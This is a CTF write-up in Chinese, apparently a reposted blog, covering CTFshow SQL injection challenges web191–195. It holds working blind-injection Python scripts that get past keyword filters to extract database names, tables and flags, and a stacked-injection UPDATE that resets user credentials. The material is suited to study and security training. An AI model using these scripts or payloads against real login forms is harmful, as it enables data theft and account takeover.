ctfshow-web入门-sql注入（web191-web195）

news2024/9/22 7:32:46

目录

1、web191

2、web192

3、web193

4、web194

5、web195

1、web191

过滤了 ascii

使用 ord 代替：

import requests
import string
url = "http://a585c278-320a-40e7-841f-109b1e394caa.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        # data={
        #     'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解表名
        # data={
        #     'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解列名
        # data={
        #     'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
        #     'password': '1'
        # }

        # 猜解 flag
        data = {
            'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
            'password': '1'
        }

        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

拿到 flag：ctfshow{e2e5b2d9-f4f0-4deb-a7ce-17eae6f1133f}

2、web192

ascii 和 ord 都过滤了，那么我们就不转 ASCII 值，直接判断字符：

import requests

url = "http://c330c70b-f24e-49db-816b-ff1641ad269a.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    print(j)
    for k in dic:
        data = {
            'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

拿到 flag：ctfshow{f77caf71-e424-4082-8eef-299e85fc8fad}

3、web193

新增过滤 substr，使用 mid 代替：

MID() 函数用于从文本字段中提取字符

SELECT MID(column_name[,start,length]) FROM table_name;
参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置（起始值是 1）。
length可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。

因为这里我直接用上一道题的 payload 查 flag发现不行，应该是名字变了，我们重新从库开始查一遍， 先查数据库名：

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:

        # data = {
        #     'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        data = {
            'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

数据库名还是叫 ctfshow_web

 

查表名：

注意括号的使用，特别是 payload 里我去掉一些括号发现不行

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        data = {
            'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

表名为：ctfshow_flxg 

 

查列名：

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        data = {
            'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

还是叫：f1ag 

查具体字段信息：

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

拿到 flag：ctfshow{285a3d83-989e-4627-bec8-1bfb26caf38b}

也可以用 left 函数：

从提供的字符串的左侧提取给定数量的字符，例如 LEFT('SQLServer'，3) 返回 SQL。

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查具体字段
        data = {
            'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

有 left 当然就有 right：

RIGHT () 函数用于从字符串中检索最右边的指定长度的字符，这里稍微改一下结果的拼接方式

import requests

url = "http://06782287-bd3b-4dc1-8cf3-23f2d19ec57c.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查具体字段
        data = {
            'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out = k + out
            print(out)
            break

可以看到结果是倒着输出的 

 

4、web194

新增过滤 left、right

那么还可以用上一题的 mid 函数，直接跑：

 

拿到 flag：ctfshow{f0390ca9-bac9-4fba-8a8d-fd21741cd0eb}

此外，还可以用 lpad 和 rpad：

lpad('123456',2) 结果为 12

lpad('123456',7,'0') 结果为 0123456，左填充到字符串

 因此，我们不指定第三个参数，就可以实现和 left 和 right 一样的效果。

5、web195

进入堆叠注入

密码只能是数字，过滤了空格，采用反引号包裹绕过，题目已经说了是堆叠注入，这里直接修改用户名和密码： 

由查询语句我们可以知道是 username 和 pass 这两个字段 

 

修改用户名和密码都是 1

1;update(ctfshow_user)set`username`=1,`pass`=1;

 

登录：

拿到 flag：ctfshow{8ff140cf-eaba-46f7-a624-c82f326b0056}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1990317.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

哈佛大学单细胞课程|笔记汇总 （五）

哈佛大学单细胞课程|笔记汇总 （五）

哈佛大学单细胞课程|笔记汇总 （四） （五）Count Normalization and Principal Component Analysis 获得高质量的单细胞后，单细胞RNA-seq（scRNA-seq）分析工作流程的下一步就是执行聚类。聚类的目…
阅读更多...
代理IP如何助力社交媒体数据挖掘

代理IP如何助力社交媒体数据挖掘

目录 引言 一、 社交媒体数据挖掘的挑战 1、访问限制 2、反爬虫技术 3、数据隐私和合规性 4、数据的多样性和复杂性 5、技术门槛 二、解决方案：代理IP 1、绕过IP封锁 2、管理访问频率 3、保护用户隐私 4、提高数据获取的成功率 三、代理IP平台：站大爷 1、高效性…
阅读更多...
商标担保注册出现的常见问题！

商标担保注册出现的常见问题！

最近有个网友联系到普推知产商标老杨，问一个商标名称注册担保事项，检索信息给详细分析下，这个商标名称他以前申请注册过，也做过驳回复审，还是不予注册。 如果相同的名称现在去申请注册，当然会直接驳回&…
阅读更多...
模型太大加载不畅？不兼容？3D模型轻量化帮您瘦身减负

模型太大加载不畅？不兼容？3D模型轻量化帮您瘦身减负

在当今的数字时代，3D模型已成为游戏开发、建筑设计、虚拟现实及增强现实等多个行业不可或缺的基石。它们不仅为这些领域带来了前所未有的视觉盛宴和沉浸式体验，还极大地推动了行业的创新与发展。然而，随着模型设计日益复杂，其文件…
阅读更多...
Mysql执行计划（下）

Mysql执行计划（下）

1、执行计划概念 执行计划是什么：使用EXPLAIN关键字可以模拟优化器执行SQL查询语句，从而知道MySQL是如何处理你的SQL语句的。 作用：分析你的查询语句或是表结构的性能瓶颈 语法：Explain SQL语句 执行计划输出内容介绍&#xf…
阅读更多...
华为毕昇打印机：智能生态引领打印机市场新变革

华为毕昇打印机：智能生态引领打印机市场新变革

在全球打印机市场中，华为作为通信和消费电子领域的领军企业，其新品打印机的发布无疑为行业带来了新的活力。华为毕昇打印机的推出，预示着华为将以其独特的智能生态理念，重塑打印机行业的格局。 首先，华为毕昇打印机的…
阅读更多...
【书生大模型实战营第三期 | 基础岛第3关-浦语提示词工程实践】

【书生大模型实战营第三期 | 基础岛第3关-浦语提示词工程实践】

学习心得：浦语提示词工程实践 摘要 本文是对《浦语提示词工程实践》课程的学习心得，旨在总结课程的核心内容，包括环境配置、模型部署、提示工程的基本原则和LangGPT结构化提示词的使用方法。通过学习，我深刻理解了在人工智能领域…
阅读更多...
Linux系统之ncdu命令的基本使用

Linux系统之ncdu命令的基本使用

Linux系统之ncdu命令的基本使用 一、ncdu命令命令介绍1.1 ncdu简介1.2 ncdu特点 二、本地环境介绍2.1 本地环境规划2.2 本次实践介绍 三、检查本地环境3.1 检查本地操作系统版本3.2 检查系统内核版本3.3 检查系统镜像源3.4 更新软件列表 四、安装ncdu工具4.1 安装ncdu软件4.2 n…
阅读更多...
Stable Diffusion 使用详解（7）---AI 摄影

Stable Diffusion 使用详解（7）---AI 摄影

目录 背景 底模的选择 例子 majicMix GirlFriendMix（ Lora） 对比效果 LEOSAMs MoonFilm ADetailer 使用 说明 例子 问题 处理方式 效果 背景 魔法师使用魔法作的画有时候太过完美，以至于有点脱离真实摄影的感觉，我们…
阅读更多...
SQL注入之oracle,mongodDB注入

SQL注入之oracle,mongodDB注入

简要学习各种数据库的注入特点 access与其他数据库的区别 1.access网站的数据在网站目录下，以mdb形式存储。每个网站之间的数据库相互独立。这在一定程度上避免了跨库注入！ 2.access功能比较少，比如没有文件读写，没有记录信息表i…
阅读更多...
优化版轻量级自适应商城卡密发卡平台源码 全开源、商业友好 重塑高效发卡体验

优化版轻量级自适应商城卡密发卡平台源码 全开源、商业友好 重塑高效发卡体验

引领数字商品交易新风尚，我们自豪地推出这款精心优化后的轻量级自适应商城卡密发卡平台源码。这款源码不仅继承了原版的精髓，更通过深度二次开发，彻底修复了原有bug，并剔除了所有冗余文件与代码，确保系统运行更加流畅&…
阅读更多...
【强化学习的数学原理】课程笔记--6（Actor-Critic方法）

【强化学习的数学原理】课程笔记--6（Actor-Critic方法）

目录 Actor-Critic 方法QAC 算法Advantage Actor-Critic 算法Baseline invariance Off-policy Actor-Critic重要性采样 Deterministic Policy Gradient (DPG) 系列笔记： 【强化学习的数学原理】课程笔记–1（基本概念，贝尔曼公式） …
阅读更多...
java学习day016

java学习day016

API 1.Number 数字格式化 : # 任意数字，0-9任意单个数字 , 千分位 . 小数点 0 补位 //四位小数 DecimalFormat df new DecimalFormat("###,###.####"); System.out.println(df.format(1234567.312));//1,234,567.312 //四位小数,不够补0 df new Deci…
阅读更多...
CPU内部结构窥探·「7」--ARMv8架构中的缓存机制

CPU内部结构窥探·「7」--ARMv8架构中的缓存机制

浅析ARMv8架构中的缓存机制 在现代计算机体系结构中，缓存（Cache）是提高系统性能的关键组件之一。对于ARMv8架构来说，缓存的设计和管理至关重要。本文将详细介绍ARMv8架构中的缓存机制，包括其结构、工作原理、缓存一致…
阅读更多...
高精度加法c++

高精度加法c++

题目描述 计算ab的值，a,b皆为不超过240位的正整数。 输入 两个正整数，每行一个 输出 一个数，代表两个整数的和 样例输入 111111111111111111111111111111111111 222222222222222222222222222222222222 样例输出 3333333333333333333…
阅读更多...
渗透--ubuntuan安装nginx、php部署 -- sql注入

渗透--ubuntuan安装nginx、php部署 -- sql注入

ubuntuan安装nginx以及php部署 ​ 1.安装依赖包 方法一： rootzbn-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev方法二： rootzbn:/# apt install gcc rootzbn:/# apt install libpcre3 libpcre3…
阅读更多...
2017-架构师案例（九）

2017-架构师案例（九）

某软件企业受该省教育部门委托建设高校数字化教育教学资源共享平台，实现以众筹众创的方式组织省内普通高校联合开展教育教学资源内容建设，实现全省优质教学资源整合和共享。该资源共享平台的主要功能模块包括: (1)统一身份认证模块:提供统一的认证入口&…
阅读更多...
微信小程序--详情实现日期选择期（年月日）

微信小程序--详情实现日期选择期（年月日）

案例&#xff1a; html: <view class"huanhang"><view class"fontBold">发起时间&#xff1a;</view><view class"fontBold"> <picker class"getBusTime" mode"date" data-namesa"staDa…
阅读更多...
aop时什么，用时统计怎么开发

aop时什么，用时统计怎么开发

spring aop,作用&#xff1a;可以对service层代码进行监听&#xff0c;统计每个方法用时 aop是什么&#xff1a;面向切面编程&#xff08;aop开发出来的代码&#xff09; 用在哪里&#xff1a;&#xff08;压测/提效&#xff09; 1.controller层方法用时不用统计,核心都在服务…
阅读更多...
Vue+Vite+Element Plus基础操作

Vue+Vite+Element Plus基础操作

Vue.js 是一个流行的前端框架&#xff0c;‌而 Vite 是一个快速构建前端应用的新型开发服务器和构建工具&#xff0c;‌两者结合可以显著提升开发效率和体验。‌ Vue.js 是一个用于构建用户界面的渐进式框架&#xff0c;‌它易于上手且功能强大。‌Vue 的核心库只关注视图层&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023